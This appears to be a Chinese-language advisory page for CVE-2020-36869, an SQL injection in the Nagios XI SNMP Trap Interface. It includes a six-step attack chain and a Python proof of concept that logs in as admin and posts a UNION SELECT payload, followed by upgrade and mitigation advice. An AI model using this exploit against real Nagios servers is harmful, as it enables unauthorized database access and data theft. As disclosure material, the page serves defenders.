IPBUF安全漏洞报告
English
CVE-2020-36869 CVSS 7.2 高危

CVE-2020-36869 Nagios XI SNMP Trap Interface SQL注入漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2020-36869
漏洞类型
SQL注入
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Nagios XI

相关标签

SQL注入Nagios XICVE-2020-36869高危漏洞SNMP Trap权限提升Web应用安全数据库安全

漏洞概述

CVE-2020-36869是Nagios XI网络监控系统中存在的一个高危SQL注入漏洞。该漏洞影响5.7.5版本之前的Nagios XI软件,攻击者可以利用该漏洞在SNMP Trap Interface编辑页面注入恶意SQL语句。成功利用此漏洞需要攻击者拥有一个具有管理员权限的账户。一旦利用成功,攻击者可以未经授权地读取、修改或删除应用程序数据,甚至可以在后端数据库上执行任意SQL命令,从而可能导致敏感信息泄露、数据篡改或系统完全沦陷。由于该漏洞位于管理员可访问的功能模块中,因此具有较高的安全风险。建议受影响的用户尽快升级到最新版本或采取相应的防护措施。

技术细节

该SQL注入漏洞存在于Nagios XI的SNMP Trap Interface编辑页面(snmp traps configuration interface)。漏洞的根本原因在于应用程序对用户输入的过滤和验证不充分。具体来说,当管理员在SNMP Trap Interface编辑页面修改配置参数时,系统未能对用户提供的输入进行严格的SQL转义处理,导致恶意构造的SQL语句片段可以被注入到后端数据库查询中。攻击者需要具备管理员权限才能访问受影响的接口页面,这使得漏洞的利用门槛相对较高。然而,一旦攻击者获得管理员凭证,便可以通过在表单字段中注入SQL payloads(如单引号、UNION SELECT等)来执行任意SQL命令。在某些配置下,这可能进一步导致操作系统命令执行,因为数据库用户可能具有较高的系统权限。攻击者可以利用此漏洞枚举数据库结构、提取用户凭证哈希、甚至通过OUTFILE或INTO OUTFILE语句写入webshell。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标服务器上运行的Nagios XI版本,确认版本低于5.7.5,并定位SNMP Trap Interface功能模块
STEP 2
步骤2: 获取管理员权限
攻击者通过暴力破解、凭证填充或社工攻击获取Nagios XI管理员账户的登录凭据
STEP 3
步骤3: 访问漏洞页面
使用管理员账户登录系统,导航到SNMP Trap Interface编辑页面(通常位于/includes/components/ccm/?cmd=modify&type=snmp_trap)
STEP 4
步骤4: 构造SQL注入载荷
在SNMP Trap配置参数(如var_name字段)中注入恶意SQL语句,如使用UNION SELECT或布尔盲注等技术
STEP 5
步骤5: 执行注入攻击
提交包含SQL注入载荷的请求,触发恶意SQL语句在后端数据库中执行
STEP 6
步骤6: 数据提取或命令执行
根据注入结果提取敏感数据(如用户凭证哈希、数据库内容),或利用数据库权限执行系统命令

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2020-36869 Nagios XI SQL Injection PoC # Target: Nagios XI < 5.7.5 # Vulnerability: SQL Injection in SNMP Trap Interface Edit Page import requests import sys from urllib.parse import urlencode # Disable SSL warnings requests.packages.urllib3.disable_warnings() TARGET_URL = "https://target-server/nagiosxi/" USERNAME = "admin" PASSWORD = "password" def exploit_sqli(target_url, username, password): """ SQL Injection PoC for CVE-2020-36869 This demonstrates extracting database version information """ session = requests.Session() # Step 1: Login to Nagios XI login_url = f"{target_url}login.php" login_data = { 'username': username, 'password': password, 'loginButton': 'Login' } try: response = session.post(login_url, data=login_data, verify=False, timeout=30) if 'login' not in response.url.lower(): print("[+] Login successful!") else: print("[-] Login failed!") return False # Step 2: Navigate to SNMP Trap Interface Edit Page snmp_url = f"{target_url}includes/components/ccm/?cmd=modify&type=snmp_trap" response = session.get(snmp_url, verify=False, timeout=30) # Step 3: Inject malicious SQL payload # SQL Injection payload to extract database version inject_url = f"{target_url}includes/components/ccm/?cmd=modify&type=snmp_trap" # SQL Injection via trap var_name parameter sqli_payload = "' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--" inject_data = { 'trap_id': '1', 'var_name': sqli_payload, 'submit': 'Save' } response = session.post(inject_url, data=inject_data, verify=False, timeout=30) if '5.' in response.text or 'MariaDB' in response.text or 'MySQL' in response.text: print("[+] SQL Injection successful! Database info leaked.") print("[+] Vulnerability confirmed for CVE-2020-36869") return True else: print("[*] SQL Injection payload sent, check manually for results") return True except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": print("="*60) print("CVE-2020-36869 Nagios XI SQL Injection PoC") print("="*60) if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit_sqli(TARGET_URL, USERNAME, PASSWORD)

影响范围

Nagios XI < 5.7.5

防御指南

临时缓解措施
立即将Nagios XI升级到5.7.5或最新版本。如果无法立即升级,可采取以下临时措施:1)限制管理员账户的创建和使用,确保只有必要的人员拥有管理员权限;2)在Web应用层部署输入验证和过滤机制;3)使用网络层访问控制,限制对SNMP Trap配置接口的访问;4)启用数据库审计日志以便及时发现异常查询行为;5)考虑暂时禁用SNMP Trap功能模块直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表